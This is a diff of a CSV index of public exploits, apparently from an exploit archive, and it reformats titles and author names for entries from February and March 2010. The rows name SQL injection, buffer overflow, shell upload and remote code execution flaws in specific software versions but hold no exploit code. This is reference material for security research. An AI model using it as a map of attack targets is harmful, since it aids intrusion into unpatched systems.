+11522,platforms/php/webapps/11522.txt,"Ero Auktion 2010 - (news.php) SQL Injection Vulnerability",2010-02-22,"Easy Laster",php,webapps,0
+11523,platforms/php/webapps/11523.txt,"Galerie Dezign-Box France Multi Vulnerability",2010-02-22,"indoushka salah el ddine",php,webapps,0
+11524,platforms/php/webapps/11524.txt,"Arab Cart 1.0.2.0 - Multiple Vulnerabilities",2010-02-22,"indoushka salah el ddine",php,webapps,0
+11526,platforms/php/webapps/11526.txt,"vBSEO 3.1.0 - Local File Inclusion Vulnerability",2010-02-22,ViRuSMaN,php,webapps,0
 11527,platforms/multiple/webapps/11527.html,"cPanel Multiple CSRF Vulnerabilities",2010-02-22,SecurityRules,multiple,webapps,0
-11528,platforms/php/webapps/11528.txt,"phpBugTracker v1.0.1 File Disclosure Vulnerability",2010-02-22,ViRuSMaN,php,webapps,0
+11528,platforms/php/webapps/11528.txt,"phpBugTracker 1.0.1 - File Disclosure Vulnerability",2010-02-22,ViRuSMaN,php,webapps,0
 11529,platforms/multiple/dos/11529.txt,"Multiple Adobe Products XML External Entity And XML Injection Vulnerabilities",2010-02-22,"Roberto Suggi Liverani",multiple,dos,0
 11530,platforms/php/webapps/11530.txt,"Article Friendly SQL Injection Vulnerability",2010-02-22,SkuLL-HacKeR,php,webapps,0
 11531,platforms/windows/dos/11531.pl,"Windows Media Player 11.0.5721.5145 (.mpg) Buffer Overflow Exploit",2010-02-22,cr4wl3r,windows,dos,0
 11532,platforms/windows/dos/11532.html,"Winamp 5.57 (Browser) IE Denial of Service Exploit",2010-02-22,cr4wl3r,windows,dos,0
-11533,platforms/windows/dos/11533.pl,"Nero Burning ROM v9.4.13.2 (iso compilation) Local Buffer Invasion PoC",2010-02-22,LiquidWorm,windows,dos,0
+11533,platforms/windows/dos/11533.pl,"Nero Burning ROM 9.4.13.2 - (iso compilation) Local Buffer Invasion PoC",2010-02-22,LiquidWorm,windows,dos,0
 11534,platforms/windows/dos/11534.pl,"VKPlayer 1.0 (.mid) Denial of Service Exploit",2010-02-22,cr4wl3r,windows,dos,0
-11535,platforms/windows/dos/11535.pl,"Media Player Classic v6.4.9.1 (.avi) Buffer Overflow Exploit",2010-02-22,cr4wl3r,windows,dos,0
-11536,platforms/windows/dos/11536.pl,"GOM Player v2.1.21.4846 (.wav) Buffer Overflow Exploit",2010-02-22,cr4wl3r,windows,dos,0
-11537,platforms/windows/dos/11537.pl,"Chasys Media Player v1.1 (.mid) Local Buffer Overflow",2010-02-22,cr4wl3r,windows,dos,0
-11539,platforms/windows/remote/11539.py,"Easy FTP Server v1.7.0.2 CWD Remote BoF",2010-02-22,athleet,windows,remote,0
-11540,platforms/windows/dos/11540.pl,"E.M. Total Video Player v1.31 (.wav) Local Crash Exploit",2010-02-22,v3n0m,windows,dos,0
+11535,platforms/windows/dos/11535.pl,"Media Player Classic 6.4.9.1 - (.avi) Buffer Overflow Exploit",2010-02-22,cr4wl3r,windows,dos,0
+11536,platforms/windows/dos/11536.pl,"GOM Player 2.1.21.4846 - (.wav) Buffer Overflow Exploit",2010-02-22,cr4wl3r,windows,dos,0
+11537,platforms/windows/dos/11537.pl,"Chasys Media Player 1.1 (.mid) - Local Buffer Overflow",2010-02-22,cr4wl3r,windows,dos,0
+11539,platforms/windows/remote/11539.py,"Easy FTP Server 1.7.0.2 - CWD Remote BoF",2010-02-22,athleet,windows,remote,0
+11540,platforms/windows/dos/11540.pl,"E.M. Total Video Player 1.31 - (.wav) Local Crash Exploit",2010-02-22,v3n0m,windows,dos,0
 11541,platforms/windows/dos/11541.pl,"E.M. Total Video Player 1.31 (.avi) Local Crash PoC",2010-02-22,diving,windows,dos,0
 11543,platforms/php/webapps/11543.txt,"Softbiz Jobs CSRF Vulnerability",2010-02-23,"Pratul Agrawal",php,webapps,0
 11544,platforms/php/webapps/11544.php,"Joomla Component com_ice Blind SQL Injection Vulnerability",2010-02-23,Snakespc,php,webapps,0
@@ -10565,46 +10565,46 @@ id,file,description,date,author,platform,type,port
 11549,platforms/php/webapps/11549.pl,"Joomla Component user_id com_sqlreport Blind SQL Injection Vulnerability",2010-02-23,Snakespc,php,webapps,0
 11550,platforms/php/webapps/11550.txt,"worksimple_1.3.2 Multiple Remote Vulnerabilities",2010-02-23,JIKO,php,webapps,0
 11551,platforms/php/webapps/11551.txt,"Softbiz Jobs Multiple SQL Injection Vulnerabilities",2010-02-23,"Easy Laster",php,webapps,0
-11552,platforms/hardware/dos/11552.pl,"iPhone FtpDisc v1.0 Denial of Service",2010-02-23,Ale46,hardware,dos,0
+11552,platforms/hardware/dos/11552.pl,"iPhone FtpDisc 1.0 - Denial of Service",2010-02-23,Ale46,hardware,dos,0
 11553,platforms/php/webapps/11553.txt,"Tinypug v0.9.5 CSRF Password Change",2010-02-23,"AmnPardaz ",php,webapps,0
 11554,platforms/php/webapps/11554.txt,"QuickDev 4 Php Database Disclosure Vulnerability",2010-02-23,ViRuSMaN,php,webapps,0
 11555,platforms/asp/webapps/11555.txt,"bispage Bypass Vulnerability",2010-02-23,SaMir-BonD,asp,webapps,0
 11556,platforms/hardware/dos/11556.pl,"iPhone FTP Server By Zhang Boyang Remote DoS Exploit",2010-02-23,Ale46,hardware,dos,0
-11557,platforms/php/webapps/11557.txt,"Max's Photo Album Shell Upload Vulnerability",2010-02-24,indoushka,php,webapps,0
-11558,platforms/php/webapps/11558.txt,"MySmartBB v1.0.0 Cross Site Scripting Vulnerability",2010-02-24,indoushka,php,webapps,0
+11557,platforms/php/webapps/11557.txt,"Max's Photo Album Shell Upload Vulnerability",2010-02-24,"indoushka salah el ddine",php,webapps,0
+11558,platforms/php/webapps/11558.txt,"MySmartBB 1.0.0 - Cross Site Scripting Vulnerability",2010-02-24,"indoushka salah el ddine",php,webapps,0
 11559,platforms/php/webapps/11559.txt,"Article Friendly CSRF Vulnerability",2010-02-24,"Pratul Agrawal",php,webapps,0
-11560,platforms/php/webapps/11560.txt,"WikyBlog v1.7.3rc2 Multiple Vulnerabilities",2010-02-24,indoushka,php,webapps,0
-11561,platforms/multiple/local/11561.html,"Mozilla Firefox v3.6 URL Spoofing Vulnerability",2010-02-24,Unknown,multiple,local,0
+11560,platforms/php/webapps/11560.txt,"WikyBlog 1.7.3rc2 - Multiple Vulnerabilities",2010-02-24,"indoushka salah el ddine",php,webapps,0
+11561,platforms/multiple/local/11561.html,"Mozilla Firefox 3.6 - URL Spoofing Vulnerability",2010-02-24,unknown,multiple,local,0
 11563,platforms/php/webapps/11563.txt,"kalimat new system v 1.0 (index.php) SQL Injection",2009-11-16,ProF.Code,php,webapps,0
-11564,platforms/php/webapps/11564.txt,"ShortCMS v1.11F(B) (con) SQL Injection  Vulnerability",2010-02-24,Gamoscu,php,webapps,0
-11565,platforms/php/webapps/11565.txt,"phpCOIN v1.2.1 (mod.php) SQL Injection  Vulnerability",2010-02-24,Baybora,php,webapps,0
+11564,platforms/php/webapps/11564.txt,"ShortCMS 1.11F(B) (con) - SQL Injection Vulnerability",2010-02-24,Gamoscu,php,webapps,0
+11565,platforms/php/webapps/11565.txt,"phpCOIN 1.2.1 (mod.php) - SQL Injection Vulnerability",2010-02-24,Baybora,php,webapps,0
 11567,platforms/multiple/dos/11567.txt,"Apple Safari 4.0.4 & Google Chrome 4.0.249 CSS style Stack Overflow DoS/PoC",2010-02-24,"Rad L. Sneak",multiple,dos,0
 11568,platforms/php/webapps/11568.txt,"Softbiz Auktios Script Multiple SQL Injection Vulnerabilities",2010-02-24,"Easy Laster",php,webapps,0
-11569,platforms/php/webapps/11569.txt,"Web Server Creator - Web Portal v 0.1 Multi Vulnerability",2010-02-24,indoushka,php,webapps,0
-11570,platforms/php/webapps/11570.txt,"PBBoard Version 2.0.5 Mullti Vulnerability",2010-02-24,"indoushka ",php,webapps,0
-11571,platforms/php/webapps/11571.txt,"Maian Uploader v4.0 Shell Upload Vulnerability",2010-02-24,"indoushka ",php,webapps,0
+11569,platforms/php/webapps/11569.txt,"Web Server Creator - Web Portal v 0.1 Multi Vulnerability",2010-02-24,"indoushka salah el ddine",php,webapps,0
+11570,platforms/php/webapps/11570.txt,"PBBoard 2.0.5 - Mullti Vulnerability",2010-02-24,"indoushka salah el ddine",php,webapps,0
+11571,platforms/php/webapps/11571.txt,"Maian Uploader 4.0 - Shell Upload Vulnerability",2010-02-24,"indoushka salah el ddine",php,webapps,0
 11573,platforms/windows/local/11573.c,"MediaCoder v0.7.3.4605 Local Buffer Overflow Exploit",2010-02-24,"fl0 fl0w",windows,local,0
 11574,platforms/hardware/dos/11574.py,"iPhone WebCore::CSSSelector() Remote Crash Vulnerability",2010-02-24,t12,hardware,dos,0
 11575,platforms/php/webapps/11575.txt,"Softbiz Classifieds PLUS Multiple SQL Injection Vulnerabilities",2010-02-24,"Easy Laster",php,webapps,0
 11576,platforms/php/webapps/11576.txt,"Softbiz Recipes Portal Script (showcats.php) SQL Injection Vulnerability",2010-02-25,"Easy Laster",php,webapps,0
-11577,platforms/php/webapps/11577.txt,"GameScript v3.0 SQL Injection Vulnerability",2010-02-25,FormatXformat,php,webapps,0
+11577,platforms/php/webapps/11577.txt,"GameScript 3.0 - SQL Injection Vulnerability",2010-02-25,FormatXFormaT,php,webapps,0
 11578,platforms/php/webapps/11578.php,"Joomla Component com_joomlaconnect_be Blind Injection Vulnerability",2010-02-25,Snakespc,php,webapps,0
 11579,platforms/php/webapps/11579.txt,"WebAdministrator Lite CMS SQL Injection Vulnerability",2010-02-25,Ariko-Security,php,webapps,0
-11580,platforms//webapps/11580.txt,"FileExecutive v1 Multiple Vulnerabilities",2010-02-26,ViRuSMaN,,webapps,0
-11581,platforms/windows/local/11581.py,"Orbital Viewer v1.04 (.orb) 0day Local Universal SEH Overflow Exploit",2010-02-26,mr_me,windows,local,0
+11580,platforms/aix/webapps/11580.txt,"FileExecutive 1 - Multiple Vulnerabilities",2010-02-26,ViRuSMaN,aix,webapps,0
+11581,platforms/windows/local/11581.py,"Orbital Viewer 1.04 - (.orb) Local Universal SEH Overflow Exploit (0day)",2010-02-26,mr_me,windows,local,0
 11582,platforms/php/webapps/11582.txt,"DZ Erotik Auktionshaus 4.rgo news.php - SQL Injection Vulnerability",2010-02-27,"Easy Laster",php,webapps,0
-11583,platforms/php/webapps/11583.pl,"Gravity Board X v2.0 BETA (Public Release 3) SQL Injection Vulnerability",2010-02-27,Ctacok,php,webapps,0
+11583,platforms/php/webapps/11583.pl,"Gravity Board X 2.0 BETA (Public Release 3) - SQL Injection Vulnerability",2010-02-27,Ctacok,php,webapps,0
 11584,platforms/php/webapps/11584.txt,"Project Man <= 1.0 (Auth Bypass) SQL Injection Vulnerability",2010-02-27,cr4wl3r,php,webapps,0
 11585,platforms/php/webapps/11585.txt,"phpCDB <= 1.0 Local File Include Vulnerability",2010-02-27,cr4wl3r,php,webapps,0
 11586,platforms/php/webapps/11586.txt,"phpRAINCHECK <= 1.0.1 SQL Injection Vulnerability",2010-02-27,cr4wl3r,php,webapps,0
-11587,platforms/php/webapps/11587.txt,"ProMan  <= 0.1.1 Multiple File Include Vulnerability",2010-02-27,cr4wl3r,php,webapps,0
+11587,platforms/php/webapps/11587.txt,"ProMan <= 0.1.1 Multiple File Include Vulnerability",2010-02-27,cr4wl3r,php,webapps,0
 11588,platforms/php/webapps/11588.txt,"phpMySite (XSS/SQLi) Multiple Vulnerabilities",2010-02-27,Crux,php,webapps,0
 11589,platforms/asp/webapps/11589.txt,"Pre Classified Listings SQL Injection Vulnerability",2010-02-27,Crux,asp,webapps,0
 11590,platforms/multiple/dos/11590.php,"Mozilla Firefox <= 3.6 Denial Of Service Exploit",2010-02-27,Ale46,multiple,dos,0
 11592,platforms/php/webapps/11592.txt,"Scripts Feed Business Directory SQL Injection Vulnerability",2010-02-27,Crux,php,webapps,0
 11593,platforms/php/webapps/11593.txt,"Uiga Fan Club <= 1.0 (Auth Bypass) SQL Injection Vulnerability",2010-02-27,cr4wl3r,php,webapps,0
 11595,platforms/php/webapps/11595.php,"Joomla Component com_paxgallery Blind Injection Vulnerability",2010-02-27,Snakespc,php,webapps,0
-11596,platforms/php/webapps/11596.txt,"Slaed CMS v4 Multiple Vulnerabilities",2010-02-27,indoushka,php,webapps,0
+11596,platforms/php/webapps/11596.txt,"Slaed CMS 4.0 - Multiple Vulnerabilities",2010-02-27,"indoushka salah el ddine",php,webapps,0
 11597,platforms/hardware/dos/11597.py,"RCA DCM425 Cable Modem micro_httpd DoS/PoC",2010-02-28,ad0nis,hardware,dos,0
 11599,platforms/php/webapps/11599.txt,"Uiga Personal Portal index.php SQL Injection Vulnerability",2010-02-28,"Easy Laster",php,webapps,0
 11600,platforms/php/webapps/11600.txt,"Uiga Fan Club index.php SQL Injection Vulnerability",2010-02-28,"Easy Laster",php,webapps,0
@@ -10617,60 +10617,60 @@ id,file,description,date,author,platform,type,port
 11608,platforms/hardware/dos/11608.rb,"iPhone / iTouch FTPDisc 1.0 3 ExploitsInOne Buffer Overflow DoS",2010-03-01,"Alberto Ortega",hardware,dos,0
 11609,platforms/php/webapps/11609.txt,"phptroubleticket (id) SQL Injection Vulnerability",2010-03-01,kaMtiEz,php,webapps,0
 11610,platforms/php/webapps/11610.txt,"CMS by MyWorks Multiple Vulnerabilities",2010-03-01,Palyo34,php,webapps,0
-11611,platforms/asp/webapps/11611.txt,"Al Sat Scripti Database Download Vulnerability",2010-03-02,indoushka,asp,webapps,0
-11612,platforms/php/webapps/11612.txt,"osCSS v1.2.1 Database Backups Disclosure",2010-03-02,indoushka,php,webapps,0
-11613,platforms/php/webapps/11613.txt,"PHP Advanced Transfer Manager v1.10 Shell Upload Vulnerability",2010-03-02,indoushka,php,webapps,0
-11614,platforms/php/webapps/11614.txt,"Uploadify Sample Collection Shell Upload Vulnerability",2010-03-02,indoushka,php,webapps,0
+11611,platforms/asp/webapps/11611.txt,"Al Sat Scripti Database Download Vulnerability",2010-03-02,"indoushka salah el ddine",asp,webapps,0
+11612,platforms/php/webapps/11612.txt,"osCSS 1.2.1 - Database Backups Disclosure",2010-03-02,"indoushka salah el ddine",php,webapps,0
+11613,platforms/php/webapps/11613.txt,"PHP Advanced Transfer Manager 1.10 - Shell Upload Vulnerability",2010-03-02,"indoushka salah el ddine",php,webapps,0
+11614,platforms/php/webapps/11614.txt,"Uploadify Sample Collection Shell Upload Vulnerability",2010-03-02,"indoushka salah el ddine",php,webapps,0
 11615,platforms/win32/remote/11615.txt,"Internet Explorer 'winhlp32.exe' 'MsgBox()' Remote Code Execution Vulnerability",2010-03-02,"Maurycy Prodeus ",win32,remote,0
 11616,platforms/php/webapps/11616.txt,"My Little Forum contact.php SQL Injection",2010-03-02,"Easy Laster",php,webapps,0
-11617,platforms/windows/dos/11617.txt,"Mozilla Firefox v3.6 and Opera Long String Crash(0day) Exploit",2010-03-02,"Asheesh kumar Mani Tripathi",windows,dos,0
-11618,platforms/windows/remote/11618.pl,"ProSSHD v1.2 20090726 Buffer Overflow Exploit",2010-03-02,"S2 Crew",windows,remote,0
+11617,platforms/windows/dos/11617.txt,"Opera + Mozilla Firefox 3.6 - Long String Crash (0day) Exploit",2010-03-02,"Asheesh Kumar Mani Tripathi",windows,dos,0
+11618,platforms/windows/remote/11618.pl,"ProSSHD 1.2 20090726 - Buffer Overflow Exploit",2010-03-02,"S2 Crew",windows,remote,0
 11619,platforms/php/webapps/11619.txt,"Uiga Church Portal index.php SQL Injection",2010-03-02,"Easy Laster",php,webapps,0
-11620,platforms/php/webapps/11620.txt,"Dosya Yukle Scrtipi v1.0 Shell Upload Vulnerability",2010-03-03,indoushka,php,webapps,0
+11620,platforms/php/webapps/11620.txt,"Dosya Yukle Scrtipi 1.0 - Shell Upload Vulnerability",2010-03-03,"indoushka salah el ddine",php,webapps,0
 11621,platforms/php/webapps/11621.txt,"Gnat-TGP <= 1.2.20 Remote File Include Vulnerability",2010-03-03,cr4wl3r,php,webapps,0
 11622,platforms/windows/dos/11622.php,"Opera <= 10.50 integer overflow",2010-03-03,"Marcin Ressel",windows,dos,0
 11623,platforms/php/webapps/11623.txt,"smartplugs 1.3 SQL Injection showplugs.php",2010-03-03,"Easy Laster",php,webapps,0
 11624,platforms/php/webapps/11624.pl,"MiNBank 1.5.0 Remote Command Execution Exploit",2010-03-03,JosS,php,webapps,0
 11625,platforms/php/webapps/11625.txt,"Joomla Component com_blog directory traversal",2010-03-03,"DevilZ TM",php,webapps,0
 11627,platforms/php/webapps/11627.txt,"PHPNUKE CMS (Survey and Poll) SQL Injection Vulnerability",2010-03-04,SENOT,php,webapps,0
-11628,platforms/windows/dos/11628.pl,"AKoff MIDI Player v1.00 Buffer Overflow Exploit",2010-03-04,cr4wl3r,windows,dos,0
+11628,platforms/windows/dos/11628.pl,"AKoff MIDI Player 1.00 - Buffer Overflow Exploit",2010-03-04,cr4wl3r,windows,dos,0
 11630,platforms/windows/dos/11630.pl,"WinSmMuPl 1.2.5 (.mp3) Local Crash PoC",2010-03-04,cr4wl3r,windows,dos,0
 11631,platforms/php/webapps/11631.txt,"PhP-Nuke user.php SQL Injection",2010-03-04,"Easy Laster",php,webapps,0
-11632,platforms/windows/dos/11632.txt,"Orb v2.0.01.0049-V2.54.0018 DirectShow DOS",2010-03-04,"Matthew Bergin",windows,dos,0
+11632,platforms/windows/dos/11632.txt,"Orb 2.0.01.0049 - 2.54.0018 - DirectShow DOS",2010-03-04,"Matthew Bergin",windows,dos,0
 11633,platforms/hardware/dos/11633.pl,"Sagem Routers Remote Reset Exploit",2010-03-04,AlpHaNiX,hardware,dos,0
 11634,platforms/hardware/webapps/11634.pl,"Sagem Routers Remote Auth bypass Exploit",2010-03-04,AlpHaNiX,hardware,webapps,0
-11635,platforms/php/webapps/11635.pl,"ONECMS v2.5 SQL Injection Vulnerability",2010-03-05,"Ctacok and .:[melkiy]:",php,webapps,0
+11635,platforms/php/webapps/11635.pl,"ONECMS 2.5 - SQL Injection Vulnerability",2010-03-05,"Ctacok and .:[melkiy]:",php,webapps,0
 11636,platforms/php/webapps/11636.php,"Kolang (proc_open PHP safe mode bypass 4.3.10 - 5.3.0)",2010-03-05,"Hamid Ebadi",php,webapps,0
-11637,platforms/php/webapps/11637.txt,"Auktionshaus v3.0.0.1 news.php (id) SQL Injection Vulnerability",2010-03-05,"Easy Laster",php,webapps,0
+11637,platforms/php/webapps/11637.txt,"Auktionshaus 3.0.0.1 - news.php (id) SQL Injection Vulnerability",2010-03-05,"Easy Laster",php,webapps,0
 11638,platforms/php/webapps/11638.txt,"E-topbiz Link ADS 1 PHP script (linkid) Blind SQL Injection Vulnerability",2010-03-05,JosS,php,webapps,0
-11639,platforms/windows/dos/11639.txt,"Google Chrome v4.0.249 XML Denial of Service PoC",2010-03-06,Blade,windows,dos,0
+11639,platforms/windows/dos/11639.txt,"Google Chrome 4.0.249 - XML Denial of Service PoC",2010-03-06,Blade,windows,dos,0
 11641,platforms/php/webapps/11641.txt,"phpCOIN 1.2.1 (mod.php) LFI Vulnerability",2010-03-06,_mlk_,php,webapps,0
 11643,platforms/php/webapps/11643.txt,"dev4u CMS (Personenseiten) go_target.php SQL Injection",2010-03-06,"Easy Laster",php,webapps,0
 11644,platforms/multiple/dos/11644.py,"Flare <= 0.6 Local Heap Overflow DoS",2010-03-06,l3D,multiple,dos,0
 11646,platforms/php/webapps/11646.pl,"BigForum Version: 4.5 SQL INJECTION",2010-03-07,Ctacok,php,webapps,0
-11647,platforms/windows/local/11647.pl,"Yahoo Player v1.0 (.m3u/.pls/.ypl) Buffer Overflow Exploit (SEH)",2010-03-07,Mr.tro0oqy,windows,local,0
-11648,platforms/php/webapps/11648.txt,"Bild Flirt System V2.0 index.php (id) SQL Injection Vulnerability",2010-03-07,"Easy Laster",php,webapps,0
+11647,platforms/windows/local/11647.pl,"Yahoo Player 1.0 - (.m3u/.pls/.ypl) Buffer Overflow Exploit (SEH)",2010-03-07,Mr.tro0oqy,windows,local,0
+11648,platforms/php/webapps/11648.txt,"Bild Flirt System 2.0 - index.php (id) SQL Injection Vulnerability",2010-03-07,"Easy Laster",php,webapps,0
 11650,platforms/windows/remote/11650.c,"Apache 2.2.14 mod_isapi Dangling Pointer Remote SYSTEM Exploit",2010-03-07,"Brett Gervasoni",windows,remote,0
 11651,platforms/multiple/local/11651.txt,"Tod Miller Sudo 1.6.x before 1.6.9p21 and 1.7.x before 1.7.2p4",2010-03-07,kingcope,multiple,local,0
 11652,platforms/windows/dos/11652.py,"TopDownloads MP3 Player 1.0 m3u crash",2010-03-07,l3D,windows,dos,0
-11654,platforms/php/webapps/11654.txt,"DZ Auktionshaus ""V4.rgo"" (id) news.php SQL Injection Vulnerability",2010-03-08,"Easy Laster",php,webapps,0
+11654,platforms/php/webapps/11654.txt,"DZ Auktionshaus ""V4.rgo"" (id) news.php - SQL Injection Vulnerability",2010-03-08,"Easy Laster",php,webapps,0
 11655,platforms/php/webapps/11655.txt,"TRIBISUR <= 2.0 Local File Include Vulnerability",2010-03-08,cr4wl3r,php,webapps,0
 11656,platforms/windows/local/11656.py,"QuickZip 4.x (.zip) 0day Local Universal Buffer Overflow PoC Exploit",2010-03-08,"corelanc0d3r and mr_me",windows,local,0
 11657,platforms/php/webapps/11657.txt,"Chaton <= 1.5.2 Local File Include Vulnerability",2010-03-08,cr4wl3r,php,webapps,0
-11660,platforms/php/webapps/11660.txt,"PHP File Sharing System v1.5.1 Multiple Vulnerabilities",2010-03-09,blake,php,webapps,0
-11661,platforms/windows/remote/11661.txt,"SAP GUI version 7.10 WebViewer3D Active-X JIT-Spray Exploit",2010-03-09,"Alexey Sintsov",windows,remote,0
+11660,platforms/php/webapps/11660.txt,"PHP File Sharing System 1.5.1 - Multiple Vulnerabilities",2010-03-09,Blake,php,webapps,0
+11661,platforms/windows/remote/11661.txt,"SAP GUI 7.10 - WebViewer3D Active-X JIT-Spray Exploit",2010-03-09,"Alexey Sintsov",windows,remote,0
 11662,platforms/multiple/remote/11662.txt,"Apache Spamassassin Milter Plugin Remote Root Command Execution",2010-03-09,Kingcope,multiple,remote,0
-11663,platforms/windows/local/11663.txt,"Lenovo Hotkey Driver <= v5.33 Privilege Escalation",2010-03-09,"Chilik Tamir",windows,local,0
-11666,platforms/php/webapps/11666.txt,"Uebimiau Webmail v3.2.0-2.0 | Email Disclosure",2010-03-09,"Z3r0c0re, R4vax",php,webapps,0
+11663,platforms/windows/local/11663.txt,"Lenovo Hotkey Driver <= 5.33 - Privilege Escalation",2010-03-09,"Chilik Tamir",windows,local,0
+11666,platforms/php/webapps/11666.txt,"Uebimiau Webmail 3.2.0-2.0 - Email Disclosure",2010-03-09,"Z3r0c0re, R4vax",php,webapps,0
 11667,platforms/php/webapps/11667.txt,"Joomla Component com_hezacontent SQL injection Vulnerability (id)",2010-03-09,kaMtiEz,php,webapps,0
-11668,platforms/windows/remote/11668.rb,"Easy FTP Server v1.7.0.2 CWD Remote BoF - MSF Module",2010-03-09,Blake,windows,remote,0
+11668,platforms/windows/remote/11668.rb,"Easy FTP Server 1.7.0.2 - CWD Remote BoF (MSF Module)",2010-03-09,Blake,windows,remote,0
 11669,platforms/windows/dos/11669.py,"JAD java decompiler 1.5.8g (argument) Local Crash",2010-03-09,l3D,windows,dos,0
 11670,platforms/windows/dos/11670.py,"JAD java decompiler 1.5.8g (.class) Stack Overflow DoS",2010-03-09,l3D,windows,dos,0
 11671,platforms/php/webapps/11671.txt,"mhproducts kleinanzeigenmarkt search.php SQL Injection",2010-03-09,"Easy Laster",php,webapps,0
 11672,platforms/php/webapps/11672.txt,"Wild CMS SQL injection vulnerability",2010-03-09,Ariko-Security,php,webapps,0
-11674,platforms/php/webapps/11674.txt,"NUs Newssystem v1.02 (id) SQL Injection Vulnerability",2010-03-09,n3w7u,php,webapps,0
-11676,platforms/php/webapps/11676.txt,"Campsite v3.3.5 CSRF Vulnerability",2010-03-10,"Pratul Agrawal",php,webapps,0
-11677,platforms/hardware/webapps/11677.txt,"Friendly-Tech FriendlyTR69 CPE Remote Management v2.8.9 SQL Injection Vulnerability",2010-03-10,"Yaniv Miron",hardware,webapps,0
+11674,platforms/php/webapps/11674.txt,"NUs Newssystem 1.02 - (id) SQL Injection Vulnerability",2010-03-09,n3w7u,php,webapps,0
+11676,platforms/php/webapps/11676.txt,"Campsite 3.3.5 - CSRF Vulnerability",2010-03-10,"Pratul Agrawal",php,webapps,0
+11677,platforms/hardware/webapps/11677.txt,"Friendly-Tech FriendlyTR69 CPE Remote Management 2.8.9 - SQL Injection Vulnerability",2010-03-10,"Yaniv Miron",hardware,webapps,0
 11678,platforms/php/webapps/11678.txt,"PhpCityPortal Multiple Vulnerabilities",2010-03-10,R3d-D3v!L,php,webapps,0
 11679,platforms/php/webapps/11679.txt,"Softbiz Jobs and Recruitment Script (search_result.php) SQL Injection Vulnerability",2010-03-10,"Easy Laster",php,webapps,0
 11680,platforms/php/webapps/11680.txt,"Anantasoft Gazelle CMS CSRF Vulnerability",2010-03-10,"Pratul Agrawal",php,webapps,0
@@ -10701,43 +10701,43 @@ id,file,description,date,author,platform,type,port
 11709,platforms/php/webapps/11709.txt,"Joomla Component com_comp SQL Injection Vulnerability",2010-03-13,"DevilZ TM",php,webapps,0
 11710,platforms/php/webapps/11710.php,"Joomla Component com_races Blind SQL Injection Vulnerability",2010-03-13,"DevilZ TM",php,webapps,0
 11711,platforms/php/webapps/11711.txt,"Azeno CMS SQL Injection Vulnerability",2010-03-13,"DevilZ TM",php,webapps,0
-11713,platforms/windows/local/11713.pl,"Yahoo Player v1.0 (.m3u) Buffer Overflow Exploit (direct EIP overwrite)",2010-03-13,Bombard,windows,local,0
+11713,platforms/windows/local/11713.pl,"Yahoo Player 1.0 - (.m3u) Buffer Overflow Exploit",2010-03-13,Bombard,windows,local,0
 11714,platforms/windows/dos/11714.py,"Mackeitone Media Player (.m3u file) stack buffer Overflow",2010-03-13,ItSecTeam,windows,dos,0
 11715,platforms/php/webapps/11715.txt,"systemsoftware Community Black index.php SQL Injection",2010-03-13,"Easy Laster",php,webapps,0
 11717,platforms/multiple/dos/11717.php,"Multiple PHP Functions - Local Denial of Service Vulnerabilities",2010-03-13,"Yakir Wizman",multiple,dos,0
-11718,platforms/php/webapps/11718.txt,"Xbtit v2.0.0 SQL Injection Vulnerability",2010-03-13,Ctacok,php,webapps,0
+11718,platforms/php/webapps/11718.txt,"Xbtit 2.0.0 - SQL Injection Vulnerability",2010-03-13,Ctacok,php,webapps,0
 11719,platforms/php/webapps/11719.txt,"Mambo Component com_mambads SQL Injection Vulnerability",2010-03-13,Dreadful,php,webapps,0
-11720,platforms/linux/remote/11720.py,"MicroWorld eScan Antivirus < 3.x  Remote Root Command Execution",2010-03-13,"Mohammed almutairi",linux,remote,0
-11721,platforms/php/webapps/11721.txt,"GeekHelps ADMP v1.01 Multiple Vulnerabilities",2010-03-13,ItSecTeam,php,webapps,0
-11722,platforms/php/webapps/11722.txt,"Ad Board Script v1.01 Local File Inclusion",2010-03-13,ItSecTeam,php,webapps,0
+11720,platforms/linux/remote/11720.py,"MicroWorld eScan Antivirus < 3.x Remote Root Command Execution",2010-03-13,"Mohammed almutairi",linux,remote,0
+11721,platforms/php/webapps/11721.txt,"GeekHelps ADMP 1.01 - Multiple Vulnerabilities",2010-03-13,ItSecTeam,php,webapps,0
+11722,platforms/php/webapps/11722.txt,"Ad Board Script 1.01 - Local File Inclusion",2010-03-13,ItSecTeam,php,webapps,0
 11723,platforms/cgi/webapps/11723.pl,"Trouble Ticket Express <= 3.01 Remote Code Execution/Directory Traversal",2010-03-14,zombiefx,cgi,webapps,0
-11724,platforms/windows/dos/11724.pl,"GOM Player v2.1.21 avi File DoS",2010-03-14,En|gma7,windows,dos,0
+11724,platforms/windows/dos/11724.pl,"GOM Player 2.1.21 - (.avi) DoS",2010-03-14,En|gma7,windows,dos,0
 11725,platforms/php/webapps/11725.txt,"Joomla Component com_org SQL Injection Vulnerability",2010-03-14,N2n-Hacker,php,webapps,0
 11726,platforms/php/webapps/11726.txt,"PHP-Fusion <= 6.01.15.4 (downloads.php) SQL Injection Vulnerability",2010-03-14,Inj3ct0r,php,webapps,0
 11727,platforms/php/webapps/11727.txt,"Front Door v0.4b SQL Injection Vulnerability",2010-03-14,Blake,php,webapps,0
-11728,platforms/windows/dos/11728.pl,"Media Player V6.4.9.1 with K-Lite Codec Pack DoS/Crash (.avi file)",2010-03-14,En|gma7,windows,dos,0
+11728,platforms/windows/dos/11728.pl,"Media Player 6.4.9.1 with K-Lite Codec Pack - DoS/Crash (.avi)",2010-03-14,En|gma7,windows,dos,0
 11729,platforms/php/webapps/11729.txt,"DesktopOnNet 3 Beta9 Local File Include Vulnerability",2010-03-14,cr4wl3r,php,webapps,0
 11730,platforms/php/webapps/11730.txt,"Joomla com_nfnaddressbook Remote Sql Injection Vulnerability",2010-03-14,Snakespc,php,webapps,0
-11731,platforms/php/webapps/11731.html,"RogioBiz_PHP_file_manager_V1.2 bypass admin exploit",2010-03-14,ItSecTeam,php,webapps,0
+11731,platforms/php/webapps/11731.html,"RogioBiz PHP Fle Manager 1.2 - Bypass Admin Exploit",2010-03-14,ItSecTeam,php,webapps,0
 11732,platforms/php/webapps/11732.txt,"Php-Nuke - Local File Include Vulnerability",2010-03-14,ItSecTeam,php,webapps,0
 11733,platforms/php/webapps/11733.txt,"phppool media Domain Verkaufs und Auktions Portal index.php SQL Injection",2010-03-14,"Easy Laster",php,webapps,0
-11734,platforms/windows/dos/11734.py,"httpdx v1.5.3b Multiple - Remote Pre-Authentication DoS (PoC crash)",2010-03-14,loneferret,windows,dos,0
